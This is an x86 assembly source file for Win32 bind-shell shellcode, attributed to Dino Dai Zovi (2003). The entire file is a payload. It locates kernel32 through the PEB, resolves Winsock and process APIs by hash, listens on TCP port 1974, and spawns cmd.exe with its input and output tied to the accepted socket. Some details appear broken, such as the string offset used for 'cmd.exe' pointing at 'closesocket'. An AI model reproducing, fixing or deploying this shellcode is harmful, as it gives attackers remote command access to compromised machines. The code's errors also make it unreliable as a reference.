# # Win32 TCP Port Listening Shellcode # # Dino Dai Zovi , 20030415 # .intel_syntax .set WIN9X, 0 # set to 1 for Windows 95/98/Me support .globl _shellcode .data _shellcode: call Lstart # # Data section # Lsin: .short 2 # sin_family .short 0xb607 # sin_port (1974 little endian) .long 0 # sin_addr .skip 8 # XXX: Can we omit this? Lstrings: .asciz "ws2_32.dll" .asciz "WSASocketA" .asciz "bind" .asciz "listen" .asciz "accept" .asciz "closesocket" .asciz "cmd.exe" # # GetK32ProcAddress: Get address of a procedure exported from KERNEL32.DLL # LGetK32ProcAddress: push ebx push ebp push esi push edi # Get address of PEB xor ebx, ebx mov bl, 0x30 mov eax, fs:[bl] .if WIN9X==1 # Determine if we are running on winnt/win9x test eax, eax js Lwin9x # on win9x PEB is negative .endif # kernel32.dll is blink in flink of InInitOrder module list mov eax, [eax+0x0c] # eax = *PROCESS_MODULE_INFO mov esi, [eax+0x1c] # esi = InInitOrder.flink lodsd # eax = InInitOrder.blink mov ebp, [eax+0x8] # ebp = kernel32 base address .if WIN9X==1 jmp Lfindproc Lwin9x: mov eax, [eax+0x34] mov ebp, [eax+0xb8] Lfindproc: .endif # ebp = kernel32 base mov eax, [ebp+0x3c] # eax = PE header offset mov edx, [ebp+eax+120] add edx, ebp # edx = exports directory table mov ecx, [edx+24] # ecx = number of name pointers mov ebx, [edx+32] add ebx, ebp # ebx = name pointers table Lfnlp: jecxz Lntfnd dec ecx mov esi, [ebx+ecx*4] add esi, ebp # esi = name pointer # Hash function name in esi -> edi xor edi, edi cld Lhshlp: xor eax, eax lodsb cmp al, ah je Lfnd ror edi, 13 add edi, eax jmp Lhshlp Lfnd: cmp edi, [esp+20] jnz Lfnlp mov ebx, [edx+36] # ebx = ordinals table RVA add ebx, ebp mov cx, [ebx+2*ecx] # cx = function ordinal mov ebx, [edx+28] # ebx = address table RVA add ebx, ebp mov eax, [ebx+4*cx] # eax = address of function RVA add eax, ebp jmp Ldone Lntfnd: xor eax, eax Ldone: pop edi pop esi pop ebp pop ebx ret 4 # # Shellcode entry point # Lstart: mov ebp, [esp] # ebp = base of string table add [esp], 16 # 16 = sizeof(struct sockaddr) # GetK32ProcAddress(hash("GetProcAddress")) push 0x7c0dfcaa # hash of GetProcAddress call LGetK32ProcAddress mov esi, eax # esi = GetProcAddress address # GetK32ProcAddress(hash("LoadLibraryA")) push 0xec0e4e8e # hash of LoadLibraryA call LGetK32ProcAddress # LoadLibraryA("ws2_32.dll") call eax mov ebx, eax # ebx = ws2_32.dll base address # GetProcAddress(hWS2Dll, "WSASocketA") lea eax, [ebp+27] push eax push ebx call esi # WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); push 0 push 0 push 0 push 6 push 1 push 2 call eax mov edi, eax # edi = socket # GetProcAddress(hWSDll, "bind") lea eax, [ebp+38] push eax push ebx call esi # bind(sock, (struct sockaddr*)&sin, size) push 16 push ebp push edi call eax # GetProcAddress(hWSDll, "listen") lea eax, [ebp+43] push eax push ebx call esi # listen(sock, 0) push 0 push edi call eax # GetProcAddress(hWSDll, "accept") lea eax, [ebp+50] push eax push ebx call esi # accept(sock, (struct sockaddr*)&sin, NULL) push 0 push ebp push edi call eax push eax # GetProcAddress(hWSDll, "closesocket") lea eax, [ebp+57] push eax push ebx call esi # closesocket(sock) push edi call eax pop esi # esi = client socket Lruncmd: # allocate space for STARTUPINFO si, PROCESS_INFORMATION pi sub esp, 68+16 # zero out STARTUPINFO lea edi, [esp+16] mov ecx, 68 mov eax, 0 L0: stosb loopnz L0 mov dword ptr [esp+16], 68 # si.cb = sizeof(si); mov dword ptr [esp+60], 256 # si.dwFlags = STARTF_USESTDHANDLES mov [esp+16+56], esi # si.hStdInput = sock mov [esp+16+60], esi # si.hStdOutput = sock mov [esp+16+64], esi # si.hStdError = sock lea eax, [esp+16] # si push esp # pi push eax push 0 push 0 push 0 push 1 push 0 push 0 lea eax, [ebp+57] # "cmd.exe" push eax push 0 # GetK32ProcAddress(hash("CreateProcessA")) push 0x16b3fe72 # hash of CreateProcessA call LGetK32ProcAddress # CreateProcess(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &si, &pi) call eax # GetK32ProcAddress(hash("WaitForSingleObject")) push 0xce05d9ad # hash of WaitForSingleObject call LGetK32ProcAddress # WaitForSingleObject(pi.hProcess, INFINITE) mov ebx, [esp] push 0xFFFFFFFF push ebx call eax # GetK32ProcAddress(hash("ExitProcess")) push 0x73e2d87e # hash of ExitProcess call LGetK32ProcAddress # ExitProcess(0) push 0 call eax